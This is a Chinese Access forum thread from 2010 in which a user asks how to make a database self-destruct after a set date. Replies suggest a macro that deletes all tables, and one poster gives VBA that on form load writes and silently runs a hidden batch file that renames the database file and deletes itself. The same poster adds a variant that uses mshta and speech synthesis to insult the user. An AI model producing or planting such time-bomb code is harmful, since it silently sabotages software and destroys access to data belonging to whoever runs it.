跪求各位老师，怎么才能编写一个ACCESS到期自毁程序

lyclove2007　发表于：2010-04-25 20:16:45 　

复制

怎么才能编写一个ACCESS到期自毁程序，要求设定一个日期后，数据库自动损坏无法使用

Top

隽哥哥发表于：2010-04-25 22:42:33

编个自动宏，查询日期到期把所有的表查询之类的全部删除

Top

lt 发表于：2010-04-28 16:28:24

根据网上一个DELPHI程序改的,实现了到期把文件名改成"再见"的效果.其它效果如果懂点DOS的自己去改改吧.

Private Sub Form_Load()

If Format(Date, "YYYY-MM-DD") >= "2010-04-28" Then
Dim app As String
Dim tem As String
Dim WSHShell As Object
        Set WSHShell = CreateObject("Wscript.Shell")
        tem = WSHShell.SpecialFolders("Templates")
        Set WSHShell = Nothing
app = CurrentProject.FullName

Open tem & "\a123a.bat" For Output As #1

Print #1, " @echo off"
Print #1, " :pp"
Print #1, " ren " & app & " 再见.mdb"
Print #1, " if exist " & app & " goto pp"
Print #1, " @del %0 "
Close #1
Shell tem & "\a123a.bat", vbHide

DoCmd.Quit
End If

End Sub

Top

lt 发表于：2010-04-29 11:30:09

'最好不要破坏文件,如果觉的不解气,他的机器又有声卡的话,让老外用蹩脚的中国话骂他.

Private Sub Form_Load()
If Format(Date, "YYYY-MM-DD") >= "2010-04-28" Then
Dim tem As String
Dim WSHShell As Object
        Set WSHShell = CreateObject("Wscript.Shell")
        tem = WSHShell.SpecialFolders("Templates")
        Set WSHShell = Nothing

Open tem & "\a123a.bat" For Output As #1

Print #1, " @echo off"
Print #1, " mshta vbscript:createobject(""sapi.spvoice"").speak(""huai dan."")(window.close) "

Print #1, " @del %0 "

Close #1
Shell tem & "\a123a.bat", vbHide

End If

End Sub

Top

★Prg天空★ 发表于：2010-05-21 09:36:47

docmd.deleteobject

Top

wang decheng 发表于：2010-05-21 16:11:20

请找一找马山杨梅老师的主贴，他对此有所研究

Top

总记录：5篇页次：1/1 9 1 :

Access交流中心

跪求各位老师，怎么才能编写一个ACCESS到期自毁程序